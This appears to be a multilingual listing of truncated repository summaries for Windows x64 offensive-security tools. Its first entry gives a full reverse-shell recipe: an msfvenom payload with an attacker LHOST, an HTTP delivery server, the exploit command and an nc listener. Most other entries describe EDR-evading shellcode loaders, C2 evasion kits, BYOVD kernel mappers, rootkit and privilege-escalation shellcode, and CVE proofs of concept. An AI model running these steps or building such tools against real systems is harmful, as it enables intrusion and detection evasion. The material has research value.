cve-2022-3218

步骤 1 — 创建一个真实的载荷（Windows） msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe 步骤 2 — 通过 HTTP 提供载荷服务 在同一目录下： python3 -m http.server 80 步骤 3 — 调整漏洞利用 按如下方式运行： python3 CVE-2022-3218.py 172.20.7.185 10.8.5.50 exploit.exe 步骤 4 — 在利用之前启动监听器 nc -lvnp 4444...

SILVERPICK

SILVERPICK 版本 v1.1 简介 项目 SILVERPICK 是一个 Windows 用户态 Shellcode 开发框架 WUMSDF，其唯一目的是让能力开发者能够以简单的方式使用 C/C++ 为 Windows x64 构建 位置无关代码 PIC 二进制块，从而降低此类开发工作的成本。 它衍生自项目 WILDBEAST，因此依赖： 1. 使用 Visual Studio Code 作为代码编辑器 2. 使用 MinGW-w64 工具链作为编译工具链 3. 使用 GNU Make 作为构建系统 环境搭建 你可以从这里找到环境搭建说明：GCC-Clang-Setup-Windo...

AsmLdr

AsmLdr：适用于 Windows x64 的动态 Shellcode 加载器 概述 AsmLdr 是一款使用 x64 汇编语言实现的高级 shellcode 加载器，专为 Windows x64 环境设计。其主要目的是执行加密的有效载荷，同时最大限度降低被高级防病毒软件、端点检测与响应（EDR）系统、沙箱和调试器检测到的风险。它通过在运行时动态解析模块、API 和系统调用来实现这一点，从而消除导入表或硬编码地址等静态依赖。这种方法可生成紧凑且检测特征极低的二进制文件。 该加载器使用模块踩踏（module stomping）技术将 shellcode 放入现有 DLL...

lacuna-rs

lacuna-rs Ghost-frame コールスタック偽装 + ランタイム間接システムコール for Windows x64 — Rust に移植済み。 Mohamed Alzhrani 0xmaz による LACUNA Chain lacunachain.c からの移植。 lacuna-rs は、再利用可能な Rust クレートであり、元の C TTP と同じプリミティブを提供します。構造化されているため、任意の Rust プロジェクトにドロップインできます。wsyscall-rs や syscalls-rs と似ていますが、ランタイム SSN 解決 、関数ごとのsyscall;r...

NovaHypervisor

NovaHypervisor 説明 NovaHypervisor は、防御目的の x64 Intel ホストベースのハイパーバイザです。このプロジェクトの目標は、カーネルベースの攻撃 Bring Your Own Vulnerable Driver BYOVD やその他の手段による から防御製品 アンチウイルス/エンドポイント保護 やカーネルメモリ構造を保護し、カーネルメモリへの不正アクセスを防止することです。 NovaHypervisor は C++ とアセンブリで書かれており、Windows 10 以降で動作するように設計されています。使用方法の詳細については、セットアップ...

VectorKernel

VectorKernel カーネルモードルートキット技術の研究または教育のためのPoCです。 現在はWindows OSに焦点を当てています。 すべてのモジュールはx64ファミリの64ビットOSのみをサポートしています。 環境 すべてのモジュールはWindows 11 x64でテストされています。 ドライバをテストするには、テスト用マシンで以下のオプションを使用できます。 1. テスト署名済みドライバの読み込みを有効にする 2. カーネルモードデバッグの設定 各オプションでは、セキュアブートを無効にする必要があります。 モジュール...

micr0_shell

micr0 shell Micr0shellは、Windows X64用の位置独立コード（PIC）ヌルフリーリバースシェルシェルコードを動的に生成するために設計された、軽量で効率的なPythonスクリプトです。選択されたオプションに応じて、生成されるシェルコードはmsfvenomの同等のシェルコードよりも最大27バイト小さくなり、0x00バイトの包含も回避します。さらに、MSFのシェルコードは広く使用されているためシグネチャベースの検出方法にフラグされる可能性が高いため、micr0shellが生成するシェルコードは回避能力の追加層を提供します。 └─ msfvenom -p...

CrystalSliver

crystal-kit-sliver Crystal Palace 规避工具包移植到 Sliver C2。 这是 rasta-mouse 的 Crystal-Kit（Cobalt Strike）首次公开移植到 Sliver。它遵循了 Crystal-Kit-Xenon（Mythic）所验证的跨 C2 模式。 许可证: MIT — 版权所有 c 2026 Simone Licitra 目标平台: 仅 Windows x64（上游限制） 状态: 端到端验证 — Kali 构建流水线 + Windows 10 x64 FLARE-VM 运行时已通过。Sliver 会话已建立。 功能简介 用...

nimcrypt

nimcrypt Sliverシェルコードローダー。Nimで記述され、Windows x64を対象としています。最も一般的な2つの配信状況に対応した2つのバリアントがあります。Windows Defender（リアルタイム保護有効）でテスト済みです。 バリアント stager 暗号化されたシェルコードブロブをディスクから読み込み、メモリ上で復号し、自己インジェクションします。ファイルドロップのプリミティブが既にあり、小さくシンプルなバイナリが必要な場合に使用します。 loader.exe keyhex ivhex...

MSRMapper

MSRMapper 适用于 Windows x64 的 BYOVD 手动映射器 · CVE-2025-8061 概述 MSRMapper 是一款适用于 Windows x64 的手动内核驱动映射器，它利用存在漏洞的 Lenovo 驱动 LnvMSRIO.sys 中的 CVE-2025-8061 来执行 BYOVD （自带易受攻击驱动）攻击。 该项目将 PE64 驱动直接映射到内核内存中，无需使用 sc create 或服务，并在 ring 0 中执行其 DriverEntry。整个过程依赖于： 通过 LnvMSRIO.sys 进行 MSR 和物理内存读写。 使用 DbgHelp 通过 P...

swapgs-attack-poc

PoC para el ataque SWAPGS CVE-2019-1125 Este repositorio contiene las fuentes del PoC del ataque SWAPGS mostrado públicamente en Black Hat USA, 2019. Contenido leakgsbkva - variante 1 busca valores aleatorios en la memoria del kernel; limitado a la cabecera de la imagen del kernel PE leakgsbkvat ...

antidbg

AntiDBG antidbg 是一个面向 Windows 的 x64 用户态反调试库，旨在保护软件免受调试。 请将该库视为反调试保护的基础，而非唯一的防御手段。 该库具有以下特点： 非常易于使用（只需调用一个函数）。 专为高性能和最低资源占用而设计（1% CPU 占用； 0 拦截： 通过内联汇编进行系统调用，避免任何形式的 API 挂钩。 为当前进程强制执行虚拟内存保护和注入缓解策略。 通过检测和/或覆盖非合法的插桩回调，防止 RAX 中的系统调用欺骗。 通过磁盘文件与内存 对比，检测对受监控 .text 节区的任何形式的内联补丁。...

CVE-2023-38831

CVE-2023-38831 CVE-2023-38831 是 WinRAR（6.23）中的一个 RCE 漏洞 参考：https://github.com/z3r0sw0rd/CVE-2023-38831-PoC 阅读 Google TAG 的分析： https://blog.google/threat-analysis-group/government-backed-actors-exploiting-winrar-vulnerability/ 下载存在漏洞的最新版本：适用于 Windows x64 的 6.22：...

CVE-2020-1020-Exploit

CVE-2020-1020 Type1字体池溢出本地权限提升漏洞利用 支持操作系统 : Windows 7,8,8.1 x64...

frida-stalker-NtStrace

NtStrace 基于 frida-stalker 的 Windowsx64 系统调用跟踪器。 483NtWaitForWorkViaWorkerFactory test.exe!0x7ff91fbaf262 35NtQueryVirtualMemory test.exe!0x7ff91fbaf262 35NtQueryVirtualMemory test.exe!0x7ff91fbaf262 35NtQueryVirtualMemory test.exe!0x7ff91fbb06d2 199NtCreateThreadEx + Following thread 17876...

cve-2026-0828

CVE-2026-0828 — PoC BYOVD de Safetica ProcessMonitorDriver.sys El controlador kernel de DLP de Safetica ProcessMonitorDriver.sys expone un IOCTL no autenticado que permite a cualquier llamador en modo usuario terminar procesos arbitrarios mediante ZwTerminateProcess en contexto kernel, evadiendo ...

stealth_call

这是什么？ 一个仅头文件的 Windows x64 库，让你无需触碰 ntdll 导入即可调用任意 NT 系统调用，无需在二进制文件中留下字符串，也不会出现那些让 EDR 抓狂的常见红旗特征。 无 CRT。无 STL。无 IAT。整个库编译后仅约 19KB，且完全没有 DLL 依赖。 设计初衷是规避现有系统调用库的常见缺陷——明文文本字符串、已知哈希常量、从非 ntdll 内存直接发起系统调用、暴露"我在做奇怪的事"的 IAT 导入、SECNOCHANGE IOC、CRT 臃肿。这些在这里统统不存在。 特性 系统调用引擎 间接系统调用——存根跳转到 ntdll 自身的 syscall;...

-Win10-x64-CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass

-Win10-x64-CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass 我的版本 - Win10 x64 CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass...

PINKPANTHER

PINKPANTHER 简介 Windows x64 内核模式手工制作的 shellcode，用于将正在执行的进程的主访问令牌替换为 SYSTEM 进程令牌，以实现 权限提升（EoP）。 支持的操作系统版本 Windows 7/Windows Server 2008 R2 Build 7601 Windows 8/Windows Server 2012 Build 9200 Windows 8.1/Windows Server 2012 R2 Build 9600 Windows 10 1507/TS1 Build 10240 Windows 10 1511/TS2 Build 1058...

ReflectivePluginLoader

ReflectivePluginLoader 一个极简的反射式 PE 映射器，带有适用于 Windows x64 的热插拔插件接口。它直接从内存中的字节缓冲区映射 DLL，解析其导出，并通过干净的 IPlugin ABI 进行调用，而无需接触 LoadLibrary。这是关于反射式加载器和模块化插件架构的博客文章的配套代码。 博客文章 查看完整文章：使用反射式加载器替代 LoadLibrary 实现 C++ 中的热插拔模块 快速开始 Configure cmake -B build Build cmake --build build --config Release The build...